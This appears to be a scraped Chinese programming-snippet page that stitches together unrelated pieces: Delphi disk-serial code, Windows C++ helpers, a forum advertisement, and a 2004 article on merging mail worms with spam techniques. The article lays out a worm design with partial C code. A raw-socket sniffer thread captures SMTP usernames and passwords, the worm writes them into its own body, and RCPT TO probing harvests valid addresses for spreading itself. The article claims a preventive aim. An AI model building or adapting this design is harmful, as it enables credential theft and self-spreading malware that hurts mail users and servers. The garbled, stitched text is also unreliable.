srbControl.Length := DataSize;
srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
pInData := PSendCmdInParams(PChar(@Buffer)
+SizeOf(SRB_IO_CONTROL));
pOutData := pInData;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT,
@Buffer, BufferSize, @Buffer, BufferSize,
cbBytesReturned, nil ) then Exit;
finally
CloseHandle(hDevice);
end;
end
else
begin // Windows 95 OSR2, Windows 98
hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil,
CREATE_NEW, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
pInData := PSendCmdInParams(@Buffer);
pOutData := @pInData^.bBuffer;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl( hDevice, DFP_RECEIVE_DRIVE_DATA,
pInData, SizeOf(TSendCmdInParams)-1, pOutData,
W9xBufferSize, cbBytesReturned, nil ) then Exit;
finally
CloseHandle(hDevice);
end;
end;
with PIdSector(PChar(pOutData)+16)^ do
begin
ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));
SetString(Result,sSerialNumber,SizeOf(sSerialNumber));
end;
end;
我是来做广告的,收集这里的代码用什么工具?
推荐我的作品:
http://chinaproject.51.net/winnote.htm
无需破解,免费绿色软件
帮助写得不好,但程序员用起来没有问题。在不同的地方多按按右键
//获取某主机的IP地址,如果主机名为空,则返回本机的名和IP地址---------
AnsiString TForm1::gethostip(AnsiString & host)
{
WSADATA wsaData;
AnsiString IP;
WSAStartup(MAKEWORD(2,0),&wsaData);
if(host.IsEmpty())
{
char hostname[128];
if(gethostname(hostname,128)!=0) return AnsiString("");
host=hostname;
}
try
{
struct hostent *hp=gethostbyname(host.c_str());
if(WSAGetLastError()==WSAHOST_NOT_FOUND)
{
IP="";
return IP;
}
else
IP=inet_ntoa(*(struct in_addr*)hp->h_addr_list[0]);
}
catch(...)
{
IP="";
}
WSACleanup();
return IP;
}
邮件蠕虫与垃圾邮件技术的融合
作者:pkxp/CVC
日期:2004-03-05
背景
病毒,DDOS,垃圾邮件已经成为当今网络安全的三大技术难题。反垃圾邮件之所以如此困难,是因为(E)SMTP协议本身的缺陷。正如DDOS,是利用TCP/IP协议固有的缺陷一样。需要说明的是,邮件蠕虫为了传播自身而发送的邮件,也属于垃圾邮件的一种。
2003年出现的Sobig蠕虫使垃圾邮件的数量大为增加,许多安全专家认为Sobig使用了垃圾邮件技术并预言:蠕虫技术和垃圾邮件技术的融合将是未来的发展趋势。其实,这种说法虽然正确但不准确,不错,Sobig发送的邮件确实属于垃圾邮件,可是I LOVE YOU,HappyTime病毒发送的邮件又何尝不是?只不过Sobig发送两份相同邮件的频率高,所以截获的传播数量才特别大,但真正的感染数量并不大,Sobig在技术上并未采用垃圾邮件技术。
本文将在分析邮件蠕虫和垃圾邮件关键技术的基础上,提出利用垃圾邮件技术传播蠕虫的思想。当然,这并不是为了传播蠕虫,而是为了更好的预防未来可能出现的这类蠕虫。本文假设读者已经具备了(E)SMTP协议,蠕虫,垃圾邮件方面的知识。
邮件蠕虫的局限与解决方法
邮件蠕虫面临的3个主要问题:一是邮件地址搜集,二是服务器地址来源,三是如何使附件尽可能多地获得执行机会。本文只讨论前两点:
一. 邮件地址搜集
现在流行并被广被使用的搜集方式有两种:
从wab文件获得
从regedit获得wab文件路径,然后分析已知格式的wab文件,读取其中的地址。
从*.ht,*.htm,*.html,*.txt,*.dbx,*.eml等文件获得
可以遍历Internet临时目录或遍历硬盘,从上述扩展名的文件中寻找地址。方法和垃
圾邮件搜索html页面类似,都是寻找mailto和@,作为合法email地址的标志。
第一种方法收集到的地址可信度比较高,点击率也会比较高;第二种方法如果地址选择算法严谨,那么找到的地址基本上都是合法的Email地址,但可信度较低。两种方法搜集到的地址数量都相当有限,成为蠕虫传播的制约条件之一。后文将会提到解决方案。
二.邮件服务器地址和帐号密码的来源
当前,几乎所有蠕虫都把一个或几个服务器的ip地址硬编码在文件体内,这样,一旦
邮件服务器不可用,蠕虫也就停止了传播,而且,由于网络安全策略的限制,许多感染蠕虫的主机都无法和这些指定的服务器连接,从而影响了蠕虫的传播速度。这里提出一种新的方法来获得大量可靠的SMTP Server,帐户,密码信息。
在Win2K平台上,我们可以利用WinSock 2的特性,它允许程序使用WSAIoctl( )给一
个SOCK_RAW类型的socket设置SIO_RCVALL属性,这样该socket就可以收到所有经过本机的数据,这是一种无需编写驱动的简易Sniffer。
许多聪明的读者已经想到下一步的工作了,是的,利用原始套接字捕包,原则如下:
目的端口等于25。
从SYN包开始记录,这是客户端和SMTP Server正在连接。
根据HELO或EHLO来判断服务器是否需要认证。
如果是EHLO,捕获后续的用户名和密码
根据MAIL FROM: 得到发件人
抛弃蠕虫自身向25端口发送的报文。
如果捕获的数据发生错误的次数超过上限,抛弃当前的服务器,恢复到初始状态
为方便起见,可以定义SMTPSERVINFO结构体来保存服务器信息。
typedef struct tagSmtpServerInfo {
DWORD dwCredit; //此服务器信息的可信度,根据发信成败增减
BOOL bAuth; //服务器是否需要认证
in_addr dwServerIP; //邮件服务器的IP
char szUserName[32]; //用户名
char szPassWord[32]; //口令
char szMailFrom[32]; //发件人
} SMTPSERVINFO;
下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。
DWORD WINAPI CaptureThread ( LPVOID p )
{
WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文
while( TRUE )
{
memset( buf , 0 , sizeof(buf) ) ;
iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;
pIpHeader = (IPHEADER *)buf ;
if(IsExistIP(pIpHeader->destIP) || pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发
continue;
if((pIpHeader->th_flag & SYN) == SYN) //是和服务器开始握手吗?
{
bNewUser = TRUE; //又有新用户发信了,开始记录 :-)
iStatus=0;
dwFailCount=0;
}
if(bNewUser==FALSE)
continue;
pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);
switch(iStatus)
{
case 0: //握手状态
{
m_pSmtpServInfo = new SMTPSERVINFO;
m_pSmtpServInfo->dwCredit=3; //初始可信度为3
m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip
iStatus++;
break;
}
case 1:
{
if(::strstr(pBuf,"HELO")) //匿名smtp server
{
m_pSmtpServInfo->bAuth=FALSE;
m_pSmtpServInfo->szUserName[0]=NULL;
m_pSmtpServInfo->szPassWord[0]=NULL;
iStatus=5; //2(user),3(pass)跳过了
}
if(::strstr(pBuf,"EHLO")) //服务器需要认证
{
m_pSmtpServInfo->bAuth=TRUE;
iStatus=2; //准备捕捉用户名和密码
}
break;
}
case 2: //开始收藏帐户和密码
{
if(::strstr(pBuf,"AUTH"))
iStatus=3;
break;
}
case 3:
{
lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);
iStatus=4;
break;
}
case 4:
{ ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"\r\n")-pBuf+1); iStatus=5;
break;
}
case 5:
{
…
::lstrcpyn(m_pSmtpServInfo->szMailFrom,…);
PostThreadMessage(::gMainThread,…, m_pSmtpServInfo); //通知主线程
bNewUser=FALSE; //不必再捕捉25包了,除非有新的握手信息
iStatus=0; //恢复为初始状态。
…
主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息;同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。
至此,我们完成了邮件服务器和帐户信息的获取工作,蠕虫每到一处,都会搜集最新的服务器信息,搜集到的信息基本都是网络可达的,因为涉及的到服务器数量极多,范围极广,所以封杀服务器或者帐户是不可能的,这些都是Sniffer捕包获得服务器的优势所在。
垃圾邮件的关键技术
垃圾邮件的详细技术不在本文讨论范围之内,但为了说明问题,必须要有简要的说明,一般来说,垃圾邮件必须解决的两个问题是:
1.发送方式的选择:
利用SMTP 协议无须认证的缺点
利用Open Relay (开放转发)
Open Relay是指由于邮件服务器不理会邮件发送者或邮件接受者的是否为系统所设定的用户,而对所有的入站邮件一律进行转发(Relay)的功能。
特快专递法
特快专递就是利用本机充当发件服务器的功能,由DNS解析出收件服务器的IP地址,然后将本机直接与收件服务器的相连,将邮件直接发送到收件人的收件服务器上。Foxmail的"特快专递"就是这个原理。现在,特快专递已经逐渐失效,安全级别高的Smtp Server不允许非Smtp Server直接发送,避免被Spammer利用。
自建SMTP服务器
Spammer自己建立SMTP服务器,直接和目标服务器连接,发送邮件。这种情况不需要匿名服务器和转发服务器的帮助。目标服务器没有理由拒绝来自一台邮件服务器的请求,所以原理上总能保证发信成功,缺点是必须申请域名,且必须频繁更换ip和域名,因为很快会被列入黑名单。
由上可见,垃圾邮件的发送技术不适合蠕虫使用,原因是利用上面的方法,Spammer只要找到一个SMTP Server就可以发送数以百万计的邮件了,一个地址失效后可以人为地更换,而蠕虫则不同,必须自力更生,如上所述的Sniffer就是解决途径。
2.邮件地址的获得
VRFY指令
该指令的作用是验证一个用户是否是本地用户:是,则返回完整的地址;否,则根据SMTP的设置回应。Spammer利用这个命令配合字典穷举用户名来收集有效的邮件地址。在新版本的SMTP软件中,这个指令已被禁用,但未取消。
EXPN指令
该指令用来向服务器查询邮件列表,成功则返回列表,每行一个地址。此指令在新版本的SMTP软件中也被禁用。
分析网页
Spammer通过搜索引擎如Google,Yahoo等,获得url,将网页下载到本地后,通过匹配关键字"mail to:"和"@"来收集地址。这种方法应用很广泛,因为有效并且上面两种方法已不可用。但是现在已经有应对措施,比如用<at>代替@。
虚拟发信法
Spammer通过正规的步骤连接Smtp Server,然后发送HELO(EHLO),MAIL FROM成功后,再发送Rcpt To : <str>,如果得到正确的回应,则收录str,做为合法的邮件地址,然后读取下一个str,再次做Rcpt to尝试,直到发生错误或遍历了所有字符串为止。这种方法的优点在于,在Rcpt to之前发送的命令都是合理的,所有SMTP服务器都不能拒绝 Rcpt To,正如所有Web Server都不能拒绝SYN包一样。
关键就在于此了,前面提到邮件蠕虫搜集地址数量的局限,我们可以采用虚拟发信法
来解决。形象地描述如下:
客户: Connect(Smtp Server)
服务器:220 smtp.263.net ESMTP ,连接成功
客户:HELO localhost EHLO localhost
服务器:250-smtp.263.net
250-PIPELINING
…
250-AUTH LOGIN
客户:AUTH LOGIN\r\n
服务器:334…
客户:用户名的base64编码
服务器回送:334…
客户:密码的base64编码
服务器:235 Authentication successful
客户: MAIL FROM: <username@263.net>\r\n
服务器:250 Ok
客户: RCPT TO: <str>\r\n
服务器回送:
? 250 , str为合法帐户。
? 550, invalid user。
? 522, too many rcpto。
客户:DATA\r\n
…
前文已经实现了用Sniffer方法获得邮件服务器和帐户信息,并由bAuth字段标志是否需要认证,现在就可以利用SMTPSERVINFO来连接服务器,探测合法帐户了。还有一个问题,就是str的来源,我们选择从本地文件获得的方法,原则如下:
遍历硬盘,搜索以txt,ht*,doc,eml,ini等为扩展名的文件。
找到一个word,加入 m_WordList列表。
按照合法邮件地址的规则,找到一个email,加入m_EmailList列表,发送邮件线程会直接读取m_EmailList列表并发送邮件。
邮件地址探测线程(EmailSpamer)读取m_WordList列表,验证是否为合法帐户,是则加入到m_EmailLsit。
m_Wordlist和m_EmailList都要保持一定的数量且记录互斥,以减小向同一E-Mail地址发送多次邮件的可能性。
现在获得了大量的str,可以根据(E)SMTP协议探测了,探测线程EmailSpamer如下:
while(TRUE)
{
m_Smtp.TalkWithSmtpServer();
do
{
int iRet = m_Smtp.SendRcptTo(szRcptTo); //szRcptTo来自m_WordList
if(iRet==250) //代表成功,确实有这个帐户
::m_EMailList->Add(szRcptTo);
else if(iRet==550) //帐户错误,休眠一会,避免被封
Sleep(100);
else //错误,断开连接,重新探测
break;
}while(::m_WordList->GetCount());
…
至此,我们的思路已经十分清晰:
蠕虫运行后,首先启动文件遍历线程,从文件中获得大量的单词,加入m_WordList,同时把从文件中获得的邮件地址加入 m_EmailList。地址探测线程先利用病毒体内已有的服务器信息开始探测,单词取自m_WordList,对于验证成功的word,将此word+服务器域名构成word@xxx.yyy的形式后加入m_EmailList。发送邮件线程不断读取 m_EmailList发送邮件。监听线程捕获并分析网络报文,补充新的服务器资源,并写入病毒体。这样,源源不断的邮件地址就会应接不暇,蠕虫得以大面积扩散。
需要说明的是,大的邮件服务提供商通常有好的anti-spam特性,如果rcpt to错误次数达到一个上限,那么此帐户就会被停用一段时间。但是,规模越大,注册的帐户也就越多,随机找个单词,基本上都是合法帐户。对于小型的邮件服务提供者,安全性很差,对rcpt to次数根本没有限制。归根结底,不管被封与否,在此之前都已经发现了数目可观的邮件地址,并向这些地址发送了蠕虫。
结束语
网络安全的问题只有当所有的计算机用户都成为安全专家时才有可能得到彻底解决,事实上,这是不可能的,而且我们也不能依赖或等待全民计算机水平的提高。目前可以做的,并且各国一直在努力做的,就是加快反垃圾邮件的立法和规范邮件提供商的服务。中国反垃圾邮件协会今年采取了一系列有力措施,包括两次公布垃圾邮件服务器黑名单,制定邮件服务规范,推动垃圾邮件立法等,这些虽不能完全遏制融合垃圾邮件技术的蠕虫,但具有一定的制约效
//用中文解释GetLastError返回的错误代码:
#include <stdio.h>
inline void __fastcall GetError(long iErr)
{
LPVOID lpMsgBuf;
int Result;
char* cMsg;
if(iErr==-1)
{
iErr = GetLastError();
}
Result = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
FORMAT_MESSAGE_FROM_SYSTEM|
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
iErr, //此处iErr参数可以换成GetLastError()。
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //使用默认语言。
(LPTSTR)&lpMsgBuf,
0,
NULL);
if(!Result) return;
//错误的内容放在lpMsgBuf中,这是一个void*指针。要用(char*)强制转换后才能显示。
Result = strlen((char*)lpMsgBuf);
cMsg = new char[Result+50]; //更新缓冲区的大小。
sprintf(cMsg, "Error Code: %d \r\n", iErr);
strcat(cMsg, (char*)lpMsgBuf);
MessageBox( NULL, cMsg, "Error", MB_OK | MB_ICONINFORMATION );
//Edit1 -> Text = cMsg;
//MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONINFORMATION );
//Edit1 -> Text = (char*)lpMsgBuf;
delete[] cMsg;
LocalFree( lpMsgBuf ); //清空缓冲区。
}
Unicode和ANSI字符串的转换
前面两个是输入字符串和它的长度(用 strlen/wcslen 获得),
后面两个是输出字符串,和它的缓冲区大小。
返回值是成功转换的字符个数。
如果输出字符串的缓冲区大小为 0,则返回需要的输出字符串缓冲区大小。
如果返回值是0,则表示出错(很可能是输出字符串缓冲区太小),
可以用 GetLastError() 获得进一步错误信息。
#include <winnls.h> //如果需要的话
//---------------------------------------------------------------------------
inline int Unicode2Ansi(wchar_t* wStr, int wcs, char* cStr, int mbs)
{
if(mbs == 0) wcs = -1;
int i = WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, wStr, wcs, cStr, mbs, NULL, NULL);
if(mbs != 0) cStr[i] = 0x00;
return i;
}
//---------------------------------------------------------------------------
inline int Ansi2Unicode(char* cStr, int mbs, wchar_t* wStr, int wcs)
{
if(wcs == 0) mbs = -1;
int i = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cStr, mbs, wStr, wcs);
if(wcs != 0) wStr[i] = 0x0000;
return i;
}
//---------------------------------------------------------------------------
//获得所有的用户名、所有的以登录用户名、所有的组名。
void __fastcall GetAllUserName(TObject *Sender)
{
LPUSER_INFO_0 pBuf = NULL;
LPUSER_INFO_0 pTmpBuf;
DWORD dwEntriesRead = 0;
DWORD dwTotalEntries = 0;
NET_API_STATUS nStatus;
do
{
//获得所有的用户名
nStatus = NetUserEnum(NULL, 0, FILTER_NORMAL_ACCOUNT,
(LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,
&dwEntriesRead, &dwTotalEntries, NULL);
/*//获得所有的组名
nStatus = NetLocalGroupEnum(NULL, 0, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,
&dwEntriesRead, &dwTotalEntries, NULL);
*/
/* //获得所有的已登录的用户名
nStatus = NetWkstaUserEnum(NULL, 0, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,
&dwEntriesRead, &dwTotalEntries, NULL);
*/
if((nStatus==NERR_Success)||(nStatus==ERROR_MORE_DATA))
{
if(pBuf != NULL)
{
pTmpBuf = pBuf;
for(int i=0; i<dwEntriesRead; i++)
{
ListBox1 -> Items -> Add(pTmpBuf->usri0_name);//pTmpBuf->usri0_name就是用户名。
pTmpBuf++;
}
}
}
if(pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
}while(nStatus == ERROR_MORE_DATA);
if(pBuf != NULL)
{
NetApiBufferFree(pBuf);
}
}